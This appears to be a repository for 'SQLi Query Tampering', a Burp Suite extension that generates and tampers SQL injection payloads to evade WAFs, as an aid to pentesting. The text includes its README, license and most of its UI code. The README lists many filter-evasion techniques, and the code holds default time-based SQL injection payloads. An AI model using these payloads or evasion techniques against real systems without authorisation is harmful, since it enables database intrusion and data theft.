├── .gitignore ├── LICENSE ├── README.md ├── UI.py ├── exceptions_fix.py ├── img ├── generator.png ├── intruder.png ├── processor.png └── url-decod.png ├── keywords.txt ├── payloads.lst ├── sqli_query_tampering.py └── tamper.py /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode/* 2 | !.vscode/settings.json 3 | !.vscode/tasks.json 4 | !.vscode/launch.json 5 | !.vscode/extensions.json 6 | *.code-workspace 7 | .class 8 | # Local History for Visual Studio Code 9 | .history/ 10 | *$py.class -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright 2014 Context Information Security 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | SQLi Query Tampering 2 | ================== 3 | SQLi Query Tampering extends and adds custom Payload Generator/Processor in 4 | Burp Suite's Intruder. 5 | 6 | ![](img/intruder.png) 7 | 8 | ## Advantages and Benefits 9 | 10 | Sqlmap is a great automated tool for SQL vulnerabilities but it can be a little 11 | noisy when you perform pentesting or bug hunting! 12 | One of the cool part of Sqlmap is Tampering. Tampering gives us some 13 | functions/techniques to evade filters and WAF's. 14 | 15 | SQLi Query Tampering gives you the flexibility of manual testing with many powerful 16 | evasion techniques. This extension has two part: 17 | 18 | 1. Generator: 19 | - You are able to add your customized payloads 20 | - All evasion techniques grouped by DBMS type 21 | - Tampered payloads can be used as a Generator in Intruder or saved to clipboard/file 22 | 23 | ![](img/generator.png) 24 | 25 | 2. Processor: 26 | - You have the ability to choose on of the tamper techniques as your processor 27 | - The processor can be added as a Payload Processor 28 | - You can add your payloads and tamper them based on the selected technique. Write one payload per line. 29 | 30 | ![](img/processor.png) 31 | 32 | The list of Evasion Techniques: 33 | 34 | > apostrophemask, apostrophenullencode, appendnullbyte, between, bluecoat, 35 | > chardoubleencode, charencode, charunicodeencode, charunicodeescape, commalesslimit, 36 | > commalessmid, commentbeforeparentheses, concat2concatws, equaltolike, escapequotes, 37 | > greatest, halfversionedmorekeywords, hex2char, htmlencode, ifnull2casewhenisnull, 38 | > ifnull2ifisnull, informationschemacomment, least, lowercase, modsecurityversioned, 39 | > modsecurityzeroversioned, multiplespaces, overlongutf8, overlongutf8more, 40 | > percentage, plus2concat, plus2fnconcat, randomcase, randomcomments, sp_password, 41 | > space2comment, space2dash, space2hash, space2morecomment, space2morehash, 42 | > space2mssqlblank, space2mssqlhash, space2mysqlblank, space2mysqldash, space2plus, 43 | > space2randomblank, symboliclogical, unionalltounion, unmagicquotes, uppercase, 44 | > versionedkeywords, versionedmorekeywords, 0eunion, misunion, schemasplit, binary, 45 | > dunion, equaltorlike 46 | 47 | ## Requirements: 48 | 49 | - Burp Suite Professional 50 | - Jython 2.7 standalone: http://www.jython.org/downloads.html 51 | 52 | ## Manual installation: 53 | 54 | 1. `Extender` -> `Options` 55 | 2. Click `Select file` under `Python environment` 56 | 3. Choose jython-standalone-2.5.jar 57 | 4. `Extender` -> `Extensions` 58 | 5. Click `Add` 59 | 6. Change `Extension Type` to Python 60 | 7. Choose `sqli_query_tampering.py` 61 | 8. Done! 62 | 63 | ## Usage notes: 64 | 65 | - All Tampered Queries (in Generator/Processor) returned in URL-Encoded 66 | - You can add a decode rule in Payload Processing section if you need URL-decoded payloads 67 | 68 | ![](img/url-decod.png) 69 | 70 | ## Bug and Feature Request 71 | 72 | Feel free to submit issues and enhancement requests. 73 | 74 | ## Contributing 75 | 76 | We appreciate all forms of contribution. When contributing to this repository, 77 | please first discuss the change you wish to make via issue, email, or any other 78 | method with the owners of this repository before making a change. 79 | Contribution can include adding new feature,tampering technique based on your 80 | experience/articles/sqlmap repo, making typo corrections and much more. 81 | In general, we follow the "fork-and-pull" Git workflow. 82 | 83 | 1. Fork the repo on GitHub 84 | 2. Clone the project to your own machine 85 | 3. Commit changes to your own branch 86 | 4. Check and Test your changes. You could use `http://testphp.vulnweb.com/artists.php?artist=1` url as target and make sure the extension works properly. 87 | 5. Push your work back up to your fork 88 | 6. Submit a Pull request so that we can review your changes 89 | 90 | NOTE: Be sure to merge the latest from "upstream" before making a pull request! 91 | 92 | ## Changelog: 93 | 94 | **1.3:** 95 | - Add Options tab: 96 | - Payloads Directory 97 | - Restore Defaults 98 | - Fix some issues in UI and Tamper module 99 | 100 | **1.2:** 101 | - Add tamper technique: 102 | - equaltorlike: Replaces all occurrences of operator equal (`=`) with `RLIKE` counterpart 103 | - Add `Load` button in User-Defined Payloads section. 104 | - Auto saves the Tamper Techniques, User-Defined Payloads and Processor Technique configuration. 105 | 106 | **1.1:** 107 | - Add tamper techniques: 108 | - 0eunion: Replaces instances of ` UNION` with `e0UNION` 109 | - misunion: Replaces instances of `UNION` with `-.1UNION` 110 | - schemasplit: Replaces instances of `DBName.TableName` with `DBName 9.e.TableName` 111 | - binary: Injects keyword binary where possible 112 | - dunion: Replaces instances of ` UNION` with `DUNION` 113 | 114 | **1.0:** 115 | - Release -------------------------------------------------------------------------------- /UI.py: -------------------------------------------------------------------------------- 1 | from javax.swing import (JTabbedPane, JScrollPane, JPanel, JLabel, JList, JButton, 2 | JTextField, JSeparator, JCheckBox, GroupLayout, LayoutStyle, 3 | JOptionPane, JFileChooser, JComboBox, JTextArea) 4 | 5 | from java.awt import Color, Font, Toolkit 6 | from java.lang import Short 7 | from java.io import File 8 | from java.awt.datatransfer import DataFlavor, StringSelection 9 | 10 | import os 11 | class PluginUI(): 12 | def __init__(self, extender): 13 | self.extender = extender 14 | self.initComponents() 15 | 16 | def showMessage(self, msg): 17 | JOptionPane.showMessageDialog(self.mainPanel, msg) 18 | 19 | def getProcessorTechName(self): 20 | return self.comboProcessorTech.getSelectedItem() 21 | 22 | def getGeneratorTechsName(self): 23 | techList = [] 24 | if self.chkGeneral.isSelected(): techList.append('General') 25 | if self.chkMAXDB.isSelected(): techList.append('SAP_MaxDB') 26 | if self.chkMSSQL.isSelected(): techList.append('MSSQL') 27 | if self.chkMSAccess.isSelected(): techList.append('MSAccess') 28 | if self.chkPostgres.isSelected(): techList.append('PostgreSQL') 29 | if self.chkOracle.isSelected(): techList.append('Oracle') 30 | if self.chkSqlite.isSelected(): techList.append('SQLite') 31 | if self.chkMysql.isSelected(): techList.append('MySQL') 32 | return techList 33 | 34 | def pastePayloadButtonAction(self, event): 35 | clpbrd = Toolkit.getDefaultToolkit().getSystemClipboard() 36 | content = clpbrd.getContents(None) 37 | if content and content.isDataFlavorSupported(DataFlavor.stringFlavor): 38 | items = content.getTransferData(DataFlavor.stringFlavor) 39 | items = items.splitlines() 40 | for item in items: 41 | self.extender.PayloadList.append(item) 42 | self.listPayloads.setListData(self.extender.PayloadList) 43 | self.writePayloadsListFile() 44 | 45 | def loadPayloadButtonAction(self, event): 46 | fileChooser = JFileChooser() 47 | fileChooser.dialogTitle = 'Choose Payload List' 48 | fileChooser.fileSelectionMode = JFileChooser.FILES_ONLY 49 | if (fileChooser.showOpenDialog(self.mainPanel) == JFileChooser.APPROVE_OPTION): 50 | file = fileChooser.getSelectedFile() 51 | with open(file.getAbsolutePath(),'r') as reader: 52 | for line in reader.readlines(): 53 | self.extender.PayloadList.append(line.strip('\n')) 54 | self.listPayloads.setListData(self.extender.PayloadList) 55 | self.showMessage('{} payloads loaded'.format(len(self.extender.PayloadList))) 56 | self.writePayloadsListFile() 57 | 58 | def removePayloadButtonAction(self, event): 59 | for item in self.listPayloads.getSelectedValuesList(): 60 | self.extender.PayloadList.remove(item) 61 | self.listPayloads.setListData(self.extender.PayloadList) 62 | self.writePayloadsListFile() 63 | 64 | def clearPayloadButtonAction(self, event): 65 | self.extender.PayloadList[:] = [] 66 | self.listPayloads.setListData(self.extender.PayloadList) 67 | self.writePayloadsListFile() 68 | 69 | def addPayloadButtonAction(self, event): 70 | if str(self.textNewPayload.text).strip(): 71 | self.extender.PayloadList.append(self.textNewPayload.text) 72 | self.textNewPayload.text = '' 73 | self.listPayloads.setListData(self.extender.PayloadList) 74 | self.writePayloadsListFile() 75 | 76 | def toClipboardButtonAction(self, event): 77 | self.extender.generatePayloads() 78 | result = '\n'.join(self.extender.tamperedPayloads) 79 | result = StringSelection(result) 80 | clpbrd = Toolkit.getDefaultToolkit().getSystemClipboard() 81 | clpbrd.setContents (result, None) 82 | self.showMessage('{} url encoded payload copied to clipboard'.format(len(self.extender.tamperedPayloads))) 83 | 84 | def toFileButtonAction(self, event): 85 | fileChooser = JFileChooser() 86 | fileChooser.dialogTitle = 'Save Payloads' 87 | fileChooser.fileSelectionMode = JFileChooser.FILES_ONLY 88 | if (fileChooser.showSaveDialog(self.mainPanel) == JFileChooser.APPROVE_OPTION): 89 | file = fileChooser.getSelectedFile() 90 | self.extender.generatePayloads() 91 | result = '\n'.join(self.extender.tamperedPayloads) 92 | with open(file.getAbsolutePath(),'w') as writer: 93 | writer.writelines(result.encode('utf-8')) 94 | self.showMessage('{} url encoded payload written to file'.format(len(self.extender.tamperedPayloads))) 95 | 96 | def tamperPayloadButtonAction(self, event): 97 | tamperedPayloads = [] 98 | tamperFunction = self.comboProcessorTech.getSelectedItem() 99 | payloads = self.textPlainPayload.text 100 | payloads = payloads.splitlines() 101 | for payload in payloads: 102 | tamperedPayloads.append(self.extender.tamperSinglePayload(tamperFunction, payload)) 103 | 104 | result = '\n'.join(tamperedPayloads) 105 | self.textTamperedPayload.text = result 106 | 107 | def comboProcessorTechAction(self, event): 108 | varName = 'SQLiQueryTampering_comboProcessorTech' 109 | state = str(self.comboProcessorTech.getSelectedIndex()) 110 | self.extender.callbacks.saveExtensionSetting(varName, state) 111 | 112 | def OnCheck(self, event): 113 | chk = event.getSource() 114 | varName = 'SQLiQueryTampering_{}'.format(chk.text) 115 | state =str(1 if chk.isSelected() else 0) 116 | self.extender.callbacks.saveExtensionSetting(varName, state) 117 | 118 | def writePayloadsListFile(self): 119 | payloads = '\n'.join(self.extender.PayloadList) 120 | payloads = payloads.encode('utf-8') 121 | with open('payloads.lst','w') as writer: 122 | writer.write(payloads) 123 | 124 | def readPayloadsListFile(self): 125 | result = [] 126 | with open('payloads.lst','r') as reader: 127 | for line in reader.readlines(): 128 | result.append(line.strip('\n')) 129 | return result 130 | 131 | def restoreDefaultsButtonAction(self, event): 132 | self.extender.callbacks.saveExtensionSetting('SQLiQueryTampering_PayloadsDirectory', None) 133 | self.textPayloadsDir.text = '' 134 | self.textPlainPayload.text = '' 135 | self.textTamperedPayload.text = '' 136 | self.comboProcessorTech.setSelectedIndex(0) 137 | 138 | varName = 'SQLiQueryTampering_{}' 139 | self.chkGeneral.setSelected(1) 140 | tmpVarName = varName.format(self.chkGeneral.text) 141 | self.extender.callbacks.saveExtensionSetting(tmpVarName, '1') 142 | 143 | for item in (self.chkMAXDB,self.chkMSSQL,self.chkMSAccess, 144 | self.chkPostgres,self.chkOracle,self.chkSqlite,self.chkMysql): 145 | item.setSelected(0) 146 | tmpVarName = 'SQLiQueryTampering_{}'.format(item.text) 147 | self.extender.callbacks.saveExtensionSetting(tmpVarName, '0') 148 | 149 | self.extender.PayloadList = [ 150 | "%", 151 | "'", 152 | "''", 153 | "\"\"", 154 | "\"", 155 | "'\"--", 156 | "'; waitfor delay '0:30:0'--", 157 | "1;waitfor delay '0:30:0'--", 158 | "(\",)')(,((", 159 | "));waitfor delay '0:0:__TIME__'--" 160 | ] 161 | self.listPayloads.setListData(self.extender.PayloadList) 162 | self.writePayloadsListFile() 163 | 164 | def readPayloadsFromDir(self, directory): 165 | result = [] 166 | for root, subdirs, files in os.walk(directory): 167 | for name in files: 168 | fPath = os.path.join(root, name) 169 | with open(fPath,'r') as reader: 170 | for line in reader.readlines(): 171 | result.append(line.strip('\n')) 172 | return result 173 | 174 | def dirBrowseButtonButtonAction(self, event): 175 | fileChooser = JFileChooser() 176 | fileChooser.dialogTitle = 'Choose Directory' 177 | fileChooser.fileSelectionMode = JFileChooser.DIRECTORIES_ONLY 178 | if (fileChooser.showOpenDialog(self.mainPanel) == JFileChooser.APPROVE_OPTION): 179 | file = fileChooser.getSelectedFile() 180 | varName = 'SQLiQueryTampering_PayloadsDirectory' 181 | path = file.getAbsolutePath() 182 | self.extender.callbacks.saveExtensionSetting(varName, path) 183 | self.textPayloadsDir.text = path 184 | self.extender.PayloadList = self.readPayloadsFromDir(path) 185 | self.listPayloads.setListData(self.extender.PayloadList) 186 | self.showMessage('{} payloads loaded'.format(len(self.extender.PayloadList))) 187 | 188 | def reloadPayloadsButtonAction(self, event): 189 | path = self.textPayloadsDir.text 190 | if path.strip(): 191 | self.extender.PayloadList = self.readPayloadsFromDir(path) 192 | self.listPayloads.setListData(self.extender.PayloadList) 193 | self.showMessage('{} payloads loaded'.format(len(self.extender.PayloadList))) 194 | 195 | def initComponents(self): 196 | TabbedPane1 = JTabbedPane() 197 | GeneratorScrollPane = JScrollPane() 198 | GeneratorPanel = JPanel() 199 | jlbl1 = JLabel() 200 | jlbl2 = JLabel() 201 | spanePayloadList = JScrollPane() 202 | self.listPayloads = JList() 203 | OptionsScrollPane = JScrollPane() 204 | self.textPayloadsDir = JTextField() 205 | ProcessorPanel1 = JPanel() 206 | dirBrowseButton = JButton(actionPerformed=self.dirBrowseButtonButtonAction) 207 | restoreDefaultsButton = JButton(actionPerformed=self.restoreDefaultsButtonAction) 208 | reloadPayloadsButton = JButton(actionPerformed=self.reloadPayloadsButtonAction) 209 | OptionsScrollPane = JScrollPane() 210 | OptionsPanel = JPanel() 211 | jlbl6 = JLabel() 212 | jlbl7 = JLabel() 213 | jlbl9 = JLabel() 214 | jlbl10 = JLabel() 215 | jSeparator3 = JSeparator() 216 | pastePayloadButton = JButton(actionPerformed=self.pastePayloadButtonAction) 217 | loadPayloadButton = JButton(actionPerformed=self.loadPayloadButtonAction) 218 | removePayloadButton = JButton(actionPerformed=self.removePayloadButtonAction) 219 | clearPayloadButton = JButton(actionPerformed=self.clearPayloadButtonAction) 220 | self.textNewPayload = JTextField() 221 | addPayloadButton = JButton(actionPerformed=self.addPayloadButtonAction) 222 | jSeparator1 = JSeparator() 223 | jlbl3 = JLabel() 224 | jlbl4 = JLabel() 225 | self.chkGeneral = JCheckBox(actionPerformed = self.OnCheck) 226 | self.chkMAXDB = JCheckBox(actionPerformed = self.OnCheck) 227 | self.chkMSSQL = JCheckBox(actionPerformed = self.OnCheck) 228 | self.chkMSAccess = JCheckBox(actionPerformed = self.OnCheck) 229 | self.chkPostgres = JCheckBox(actionPerformed = self.OnCheck) 230 | self.chkOracle = JCheckBox(actionPerformed = self.OnCheck) 231 | self.chkSqlite = JCheckBox(actionPerformed = self.OnCheck) 232 | self.chkMysql = JCheckBox(actionPerformed = self.OnCheck) 233 | jlbl5 = JLabel() 234 | toClipboardButton = JButton(actionPerformed=self.toClipboardButtonAction) 235 | toFileButton = JButton(actionPerformed=self.toFileButtonAction) 236 | ProcessorScrollPane = JScrollPane() 237 | ProcessorPanel = JPanel() 238 | jLabel1 = JLabel() 239 | self.comboProcessorTech = JComboBox(itemStateChanged=self.comboProcessorTechAction) 240 | jSeparator2 = JSeparator() 241 | jLabel2 = JLabel() 242 | jLabel3 = JLabel() 243 | jScrollPane1 = JScrollPane() 244 | self.textPlainPayload = JTextArea() 245 | jLabel4 = JLabel() 246 | jScrollPane2 = JScrollPane() 247 | self.textTamperedPayload = JTextArea() 248 | tamperPayloadButton = JButton(actionPerformed=self.tamperPayloadButtonAction) 249 | 250 | jlbl1.setForeground(Color(255, 102, 51)) 251 | jlbl1.setFont(Font(jlbl1.getFont().toString(), 1, 14)) 252 | jlbl1.setText("User-Defined Payloads") 253 | 254 | jlbl2.setText("This payload type lets you configure a simple list of strings that are used as payloads.") 255 | 256 | spanePayloadList.setViewportView(self.listPayloads) 257 | varName = 'SQLiQueryTampering_PayloadsDirectory' 258 | path = self.extender.callbacks.loadExtensionSetting(varName) 259 | if path : 260 | self.textPayloadsDir.text = path 261 | self.extender.PayloadList = self.readPayloadsFromDir(path) 262 | else: 263 | self.extender.PayloadList = self.readPayloadsListFile() 264 | 265 | self.listPayloads.setListData(self.extender.PayloadList) 266 | 267 | pastePayloadButton.setText("Paste") 268 | 269 | loadPayloadButton.setText("Load") 270 | 271 | removePayloadButton.setText("Remove") 272 | 273 | clearPayloadButton.setText("Clear") 274 | 275 | self.textNewPayload.setToolTipText("") 276 | 277 | addPayloadButton.setText("Add") 278 | 279 | jlbl3.setForeground(Color(255, 102, 51)) 280 | jlbl3.setFont(Font(jlbl3.getFont().toString(), 1, 14)) 281 | jlbl3.setText("Tamper Techniques") 282 | 283 | jlbl4.setText("You can select the techniques that you want to perform processing tasks on each user-defined payload") 284 | 285 | self.chkGeneral.setText("General") 286 | varName = 'SQLiQueryTampering_{}'.format(self.chkGeneral.text) 287 | state = self.extender.callbacks.loadExtensionSetting(varName) 288 | if state : self.chkGeneral.setSelected(int(state)) 289 | 290 | self.chkMAXDB.setText("SAP MAX DB") 291 | varName = 'SQLiQueryTampering_{}'.format(self.chkMAXDB.text) 292 | state = self.extender.callbacks.loadExtensionSetting(varName) 293 | if state : self.chkMAXDB.setSelected(int(state)) 294 | 295 | self.chkMSSQL.setText("MS SQL Server") 296 | varName = 'SQLiQueryTampering_{}'.format(self.chkMSSQL.text) 297 | state = self.extender.callbacks.loadExtensionSetting(varName) 298 | if state : self.chkMSSQL.setSelected(int(state)) 299 | 300 | self.chkMSAccess.setText("MS Access") 301 | varName = 'SQLiQueryTampering_{}'.format(self.chkMSAccess.text) 302 | state = self.extender.callbacks.loadExtensionSetting(varName) 303 | if state : self.chkMSAccess.setSelected(int(state)) 304 | 305 | self.chkPostgres.setText("Postgres SQL") 306 | varName = 'SQLiQueryTampering_{}'.format(self.chkPostgres.text) 307 | state = self.extender.callbacks.loadExtensionSetting(varName) 308 | if state : self.chkPostgres.setSelected(int(state)) 309 | 310 | self.chkOracle.setText("Oracle") 311 | varName = 'SQLiQueryTampering_{}'.format(self.chkOracle.text) 312 | state = self.extender.callbacks.loadExtensionSetting(varName) 313 | if state : self.chkOracle.setSelected(int(state)) 314 | 315 | self.chkSqlite.setText("Sqlite") 316 | varName = 'SQLiQueryTampering_{}'.format(self.chkSqlite.text) 317 | state = self.extender.callbacks.loadExtensionSetting(varName) 318 | if state : self.chkSqlite.setSelected(int(state)) 319 | 320 | self.chkMysql.setText("MySql") 321 | varName = 'SQLiQueryTampering_{}'.format(self.chkMysql.text) 322 | state = self.extender.callbacks.loadExtensionSetting(varName) 323 | if state : self.chkMysql.setSelected(int(state)) 324 | 325 | jlbl5.setText("[?] Save the Generated/Tampered Payloads to :") 326 | 327 | toClipboardButton.setText("Clipboard") 328 | 329 | toFileButton.setText("File") 330 | 331 | GeneratorPanelLayout = GroupLayout(GeneratorPanel) 332 | GeneratorPanel.setLayout(GeneratorPanelLayout) 333 | GeneratorPanelLayout.setHorizontalGroup( 334 | GeneratorPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING) 335 | .addGroup(GeneratorPanelLayout.createSequentialGroup() 336 | .addContainerGap() 337 | .addGroup(GeneratorPanelLayout.createParallelGroup(GroupLayout.Alignment.TRAILING) 338 | .addComponent(jlbl2, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) 339 | .addComponent(jlbl4, GroupLayout.Alignment.LEADING, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) 340 | .addComponent(jSeparator1, GroupLayout.Alignment.LEADING) 341 | .addGroup(GeneratorPanelLayout.createSequentialGroup() 342 | .addGap(6, 6, 6) 343 | .addGroup(GeneratorPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING) 344 | .addGroup(GeneratorPanelLayout.createSequentialGroup() 345 | .addGroup(GeneratorPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING, False) 346 | .addComponent(removePayloadButton, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) 347 | .addComponent(clearPayloadButton, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) 348 | .addComponent(loadPayloadButton, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) 349 | .addComponent(pastePayloadButton, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) 350 | .addComponent(addPayloadButton, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) 351 | .addGap(21, 21, 21) 352 | .addGroup(GeneratorPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING) 353 | .addComponent(self.textNewPayload) 354 | .addComponent(spanePayloadList, GroupLayout.DEFAULT_SIZE, 563, Short.MAX_VALUE))) 355 | .addComponent(jlbl1) 356 | .addComponent(jlbl3) 357 | .addGroup(GeneratorPanelLayout.createSequentialGroup() 358 | .addGroup(GeneratorPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING) 359 | .addComponent(self.chkGeneral) 360 | .addComponent(self.chkMSSQL)) 361 | .addGap(18, 18, 18) 362 | .addGroup(GeneratorPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING) 363 | .addComponent(self.chkPostgres) 364 | .addComponent(self.chkMAXDB)) 365 | .addGap(18, 18, 18) 366 | .addGroup(GeneratorPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING) 367 | .addComponent(self.chkMSAccess) 368 | .addComponent(self.chkOracle)) 369 | .addGap(18, 18, 18) 370 | .addGroup(GeneratorPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING) 371 | .addComponent(self.chkSqlite) 372 | .addComponent(self.chkMysql))) 373 | .addGroup(GeneratorPanelLayout.createSequentialGroup() 374 | .addComponent(jlbl5) 375 | .addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED) 376 | .addComponent(toClipboardButton) 377 | .addGap(18, 18, 18) 378 | .addComponent(toFileButton, 